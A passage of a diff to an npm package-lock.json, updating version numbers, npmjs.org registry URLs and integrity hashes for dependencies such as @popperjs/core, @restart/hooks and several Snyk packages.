"sha512-CtUBTnzvDrT0NASa8IuGQTxFGgt2vxbLnMYuTA+uDFxOcA4uK4mGFgrhHJtxUZnWHiwemOvKKSY3BMCo7qiAsQ==", + "dev": true, + "requires": { + "sprintf-js": "^1.1.2", + "utf8": "^3.0.0" + }, + "dependencies": { + "sprintf-js": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", + "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", + "dev": true + } + } + }, "@popperjs/core": { - "version": "2.4.4", - "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.4.4.tgz", - "integrity": "sha512-1oO6+dN5kdIA3sKPZhRGJTfGVP4SWV6KqlMOwry4J3HfyD68sl/3KmG7DeYUzvN+RbhXDnv/D8vNNB8168tAMg==" + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.9.2.tgz", + "integrity": "sha512-VZMYa7+fXHdwIq1TDhSXoVmSPEGM/aa+6Aiq3nVVJ9bXr24zScr+NlKFKC3iPljA7ho/GAZr+d2jOf5GIRC30Q==" }, "@restart/context": { "version": "2.1.4", @@ -1301,348 +2943,704 @@ "integrity": "sha512-INJYZQJP7g+IoDUh/475NlGiTeMfwTXUEr3tmRneckHIxNolGOW9CTq83S8cxq0CgJwwcMzMJFchxvlwe7Rk8Q==" }, "@restart/hooks": { - "version": "0.3.25", - "resolved": "https://registry.npmjs.org/@restart/hooks/-/hooks-0.3.25.tgz", - "integrity": "sha512-m2v3N5pxTsIiSH74/sb1yW8D9RxkJidGW+5Mfwn/lHb2QzhZNlaU1su7abSyT9EGf0xS/0waLjrf7/XxQHUk7w==", + "version": "0.3.26", + "resolved": "https://registry.npmjs.org/@restart/hooks/-/hooks-0.3.26.tgz", + "integrity": "sha512-7Hwk2ZMYm+JLWcb7R9qIXk1OoUg1Z+saKWqZXlrvFwT3w6UArVNWgxYOzf+PJoK9zZejp8okPAKTctthhXLt5g==", "requires": { - "lodash": "^4.17.15", - "lodash-es": "^4.17.15" + "lodash": "^4.17.20", + "lodash-es": "^4.17.20" } }, "@sindresorhus/is": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.1.2.tgz", - "integrity": "sha512-JiX9vxoKMmu8Y3Zr2RVathBL1Cdu4Nt4MuNWemt1Nc06A0RAin9c5FArkhGsyMBWfCu4zj+9b+GxtjAnE4qqLQ==" + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-2.1.1.tgz", + "integrity": "sha512-/aPsuoj/1Dw/kzhkgz+ES6TxG0zfTMGLwuK2ZG00k/iJzYHTLCE8mVU8EPqEOp/lmxPoq1C1C9RYToRKb2KEfg==", + "dev": true }, "@snyk/cli-interface": { - "version": "2.8.1", - "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.1.tgz", - "integrity": "sha512-pALcfgoY0hAavy/pBlDIqEu+FFC5m+D4bMnCwlQ26mObL/zzxp2+Ohx+HykCIom62u2J94SzAtRLFdm/2TgoOw==", + "version": "2.11.0", + "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.11.0.tgz", + "integrity": "sha512-T3xfDqrEFKclHGdJx4/5+D5F7e76/99f33guE4RTlVITBhy7VVnjz4t/NDr3UYqcC0MgAmiC4bSVYHnlshuwJw==", + "dev": true, "requires": { - "@snyk/dep-graph": "1.19.0", - "@snyk/graphlib": "2.1.9-patch", - "tslib": "^1.9.3" - }, - "dependencies": { - "@snyk/dep-graph": { - "version": "1.19.0", - "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.0.tgz", - "integrity": "sha512-/0phOICMk4hkX2KtZgi+4KNd5G9oYDIlxQDQk+ui2xl4gonPvK6Q5MFzHP7Xet1YY/XoU33ox41i+IO48qZ+zQ==", - "requires": { - "@snyk/graphlib": "2.1.9-patch", - "lodash.isequal": "^4.5.0", - "object-hash": "^2.0.3", - "semver": "^6.0.0", - "source-map-support": "^0.5.19", - "tslib": "^2.0.0" - }, - "dependencies": { - "tslib": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", - "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" - } - } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" - } + "@types/graphlib": "^2" } }, "@snyk/cocoapods-lockfile-parser": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/@snyk/cocoapods-lockfile-parser/-/cocoapods-lockfile-parser-3.4.0.tgz", - "integrity": "sha512-mAWgKIHFv0QEGpRvocVMxLAdJx7BmXtVOyQN/VtsGBoGFKqhO0jbtKUUVJC4b0jyKfVmEF2puo94i+1Uqz5q6A==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/@snyk/cocoapods-lockfile-parser/-/cocoapods-lockfile-parser-3.6.2.tgz", + "integrity": "sha512-ca2JKOnSRzYHJkhOB9gYmdRZHmd02b/uBd/S0D5W+L9nIMS7sUBV5jfhKwVgrYPIpVNIc0XCI9rxK4TfkQRpiA==", + "dev": true, "requires": { - "@snyk/dep-graph": "1.18.4", - "@snyk/ruby-semver": "^2.0.4", + "@snyk/dep-graph": "^1.23.1", "@types/js-yaml": "^3.12.1", "js-yaml": "^3.13.1", - "source-map-support": "^0.5.7", "tslib": "^1.10.0" + } + }, + "@snyk/code-client": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/@snyk/code-client/-/code-client-3.4.0.tgz", + "integrity": "sha512-RY2IftAiWB7tp36Mcq7WiEwqoD8A/mqrD6N7oDWTxBOIqsH0t4djo/UibiWDJotaffO9aXXndOf3iZ/kTt+Rdg==", + "dev": true, + "requires": { + "@deepcode/dcignore": "^1.0.2", + "@snyk/fast-glob": "^3.2.6-patch", + "@types/flat-cache": "^2.0.0", + "@types/lodash.chunk": "^4.2.6", + "@types/lodash.omit": "^4.5.6", + "@types/lodash.union": "^4.6.6", + "@types/micromatch": "^4.0.1", + "@types/sarif": "^2.1.3", + "@types/uuid": "^8.3.0", + "axios": "^0.21.1", + "ignore": "^5.1.8", + "lodash.chunk": "^4.2.0", + "lodash.omit": "^4.5.0", + "lodash.union": "^4.6.0", + "micromatch": "^4.0.2", + "queue": "^6.0.1", + "uuid": "^8.3.2" }, "dependencies": { - "@snyk/dep-graph": { - "version": "1.18.4", - "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.18.4.tgz", - "integrity": "sha512-SePWsDyD7qrLxFifIieEl4GqyOODfOnP0hmUweTG5YcMroAV5nARGAUcjxREGzbXMcUpPfZhAaqFjYgzUDH8dQ==", + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, "requires": { - "@snyk/graphlib": "2.1.9-patch", - "@snyk/lodash": "4.17.15-patch", - "object-hash": "^2.0.3", - "semver": "^7.3.2", - "source-map-support": "^0.5.19", - "tslib": "^1.11.1" + "fill-range": "^7.0.1" } }, - "semver": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz", - "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==" + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "ignore": { + "version": "5.1.8", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", + "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==", + "dev": true + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "micromatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.2.3" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true } } }, "@snyk/composer-lockfile-parser": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/@snyk/composer-lockfile-parser/-/composer-lockfile-parser-1.4.0.tgz", - "integrity": "sha512-ga4YTRjJUuP0Ufr+t1IucwVjEFAv66JSBB/zVHP2zy/jmfA3l3ZjlGQSjsRC6Me9P2Z0esQ83AYNZvmIf9pq2w==", + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/@snyk/composer-lockfile-parser/-/composer-lockfile-parser-1.4.1.tgz", + "integrity": "sha512-wNANv235j95NFsQuODIXCiQZ9kcyg9fz92Kg1zoGvaP3kN/ma7fgCnvQL/dyml6iouQJR5aZovjhrrfEFoKtiQ==", + "dev": true, "requires": { - "@snyk/lodash": "^4.17.15-patch" + "lodash.findkey": "^4.6.0", + "lodash.get": "^4.4.2", + "lodash.invert": "^4.3.0", + "lodash.isempty": "^4.4.0" } }, "@snyk/dep-graph": { - "version": "1.18.3", - "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.18.3.tgz", - "integrity": "sha512-7qWRTIJdZuc5VzDjdV2+03AHElyAZmhq7eV9BRu+jqrYjo9ohWBGEZgYslrTdvfqfJ8rkdrG3j0/0Aa25IxJcg==", + "version": "1.28.0", + "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.28.0.tgz", + "integrity": "sha512-Oup9nAvb558jdNvbZah/vaBtOtCcizkdeS+OBQeBIqIffyer4mc4juSn4b1SFjCpu7AG7piio8Lj8k1B9ps6Tg==", + "dev": true, "requires": { - "@snyk/graphlib": "2.1.9-patch", - "@snyk/lodash": "4.17.15-patch", + "event-loop-spinner": "^2.1.0", + "lodash.clone": "^4.5.0", + "lodash.constant": "^3.0.0", + "lodash.filter": "^4.6.0", + "lodash.foreach": "^4.5.0", + "lodash.isempty": "^4.4.0", + "lodash.isequal": "^4.5.0", + "lodash.isfunction": "^3.0.9", + "lodash.isundefined": "^3.0.1", + "lodash.keys": "^4.2.0", + "lodash.map": "^4.6.0", + "lodash.reduce": "^4.6.0", + "lodash.size": "^4.2.0", + "lodash.transform": "^4.6.0", + "lodash.union": "^4.6.0", + "lodash.values": "^4.3.0", "object-hash": "^2.0.3", - "semver": "^7.3.2", - "source-map-support": "^0.5.19", - "tslib": "^1.11.1" + "semver": "^7.0.0", + "tslib": "^1.13.0" }, "dependencies": { + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, "semver": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz", - "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==" + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true } } }, "@snyk/docker-registry-v2-client": { - "version": "1.13.5", - "resolved": "https://registry.npmjs.org/@snyk/docker-registry-v2-client/-/docker-registry-v2-client-1.13.5.tgz", - "integrity": "sha512-lgJiC071abCpFVLp47OnykU8MMrhdQe386Wt6QaDmjI0s2DQn/S58NfdLrPU7s6l4zoGT7UwRW9+7paozRgFTA==", + "version": "1.13.9", + "resolved": "https://registry.npmjs.org/@snyk/docker-registry-v2-client/-/docker-registry-v2-client-1.13.9.tgz", + "integrity": "sha512-DIFLEhr8m1GrAwsLGInJmpcQMacjuhf3jcbpQTR+LeMvZA9IuKq+B7kqw2O2FzMiHMZmUb5z+tV+BR7+IUHkFQ==", + "dev": true, "requires": { "needle": "^2.5.0", "parse-link-header": "^1.0.1", "tslib": "^1.10.0" } }, - "@snyk/gemfile": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@snyk/gemfile/-/gemfile-1.2.0.tgz", - "integrity": "sha512-nI7ELxukf7pT4/VraL4iabtNNMz8mUo7EXlqCFld8O5z6mIMLX9llps24iPpaIZOwArkY3FWA+4t+ixyvtTSIA==" - }, - "@snyk/graphlib": { - "version": "2.1.9-patch", - "resolved": "https://registry.npmjs.org/@snyk/graphlib/-/graphlib-2.1.9-patch.tgz", - "integrity": "sha512-uFO/pNMm3pN15QB+hVMU7uaQXhsBNwEA8lOET/VDcdOzLptODhXzkJqSHqt0tZlpdAz6/6Uaj8jY00UvPFgFMA==", + "@snyk/fast-glob": { + "version": "3.2.6-patch", + "resolved": "https://registry.npmjs.org/@snyk/fast-glob/-/fast-glob-3.2.6-patch.tgz", + "integrity": "sha512-E/Pfdze/WFfxwyuTFcfhQN1SwyUsc43yuCoW63RVBCaxTD6OzhVD2Pvc/Sy7BjiWUfmelzyKkIBpoow8zZX7Zg==", + "dev": true, "requires": { - "@snyk/lodash": "4.17.15-patch" - } - }, - "@snyk/inquirer": { - "version": "6.2.2-patch", - "resolved": "https://registry.npmjs.org/@snyk/inquirer/-/inquirer-6.2.2-patch.tgz", - "integrity": "sha512-IUq5bHRL0vtVKtfvd4GOccAIaLYHbcertug2UVZzk5+yY6R/CxfYsnFUTho1h4BdkfNdin2tPjE/5jRF4SKSrw==", - "requires": { - "@snyk/lodash": "4.17.15-patch", - "ansi-escapes": "^3.2.0", - "chalk": "^2.4.2", - "cli-cursor": "^2.1.0", - "cli-width": "^2.0.0", - "external-editor": "^3.0.3", - "figures": "^2.0.0", - "mute-stream": "0.0.7", - "run-async": "^2.2.0", - "rxjs": "^6.4.0", - "string-width": "^2.1.0", - "strip-ansi": "^5.0.0", - "through": "^2.3.6" + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "@snyk/glob-parent": "^5.1.2-patch.1", + "merge2": "^1.3.0", + "micromatch": "^4.0.2", + "picomatch": "^2.2.1" }, "dependencies": { - "ansi-escapes": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", - "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==" + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "micromatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.2.3" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + } + } + }, + "@snyk/fix": { + "version": "1.526.0", + "resolved": "https://registry.npmjs.org/@snyk/fix/-/fix-1.526.0.tgz", + "integrity": "sha512-+aMUNRhOdoN4YPGxXlN9+NwvKOr/DNBCGgC8DnNSujcJ9Nj1M8oHrnVoTy56/tgbJ8qyw/zwmCKAm383CfURKg==", + "dev": true, + "requires": { + "@snyk/dep-graph": "^1.21.0", + "chalk": "4.1.0", + "debug": "^4.3.1", + "micromatch": "4.0.2", + "ora": "5.3.0", + "p-map": "^4.0.0", + "strip-ansi": "6.0.0" + }, + "dependencies": { "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=" + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true }, - "cli-cursor": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz", - "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { - "restore-cursor": "^2.0.0" + "color-convert": "^2.0.1" } }, - "figures": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz", - "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, "requires": { - "escape-string-regexp": "^1.0.5" + "fill-range": "^7.0.1" } }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=" + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } }, - "mimic-fn": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", - "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==" - }, - "mute-stream": { - "version": "0.0.7", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz", - "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=" - }, - "onetime": { + "color-convert": { "version": "2.0.1", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz", - "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { - "mimic-fn": "^1.0.0" + "color-name": "~1.1.4" } }, - "restore-cursor": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz", - "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "onetime": "^2.0.0", - "signal-exit": "^3.0.2" + "ms": "2.1.2" } }, - "string-width": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, "requires": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" - }, - "dependencies": { - "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "requires": { - "ansi-regex": "^3.0.0" - } - } + "to-regex-range": "^5.0.1" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "micromatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", + "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.0.5" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, + "requires": { + "aggregate-error": "^3.0.0" } }, "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", + "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, "requires": { - "ansi-regex": "^4.1.0" - }, - "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==" - } + "ansi-regex": "^5.0.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + } + } + }, + "@snyk/gemfile": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@snyk/gemfile/-/gemfile-1.2.0.tgz", + "integrity": "sha512-nI7ELxukf7pT4/VraL4iabtNNMz8mUo7EXlqCFld8O5z6mIMLX9llps24iPpaIZOwArkY3FWA+4t+ixyvtTSIA==", + "dev": true + }, + "@snyk/glob-parent": { + "version": "5.1.2-patch.1", + "resolved": "https://registry.npmjs.org/@snyk/glob-parent/-/glob-parent-5.1.2-patch.1.tgz", + "integrity": "sha512-OkUPdHgxIWKAAzceG1nraNA0kgI+eS0I9wph8tll9UL0slD2mIWSj4mAqroGovaEXm8nHedoUfuDRGEb6wnzCQ==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "@snyk/graphlib": { + "version": "2.1.9-patch.3", + "resolved": "https://registry.npmjs.org/@snyk/graphlib/-/graphlib-2.1.9-patch.3.tgz", + "integrity": 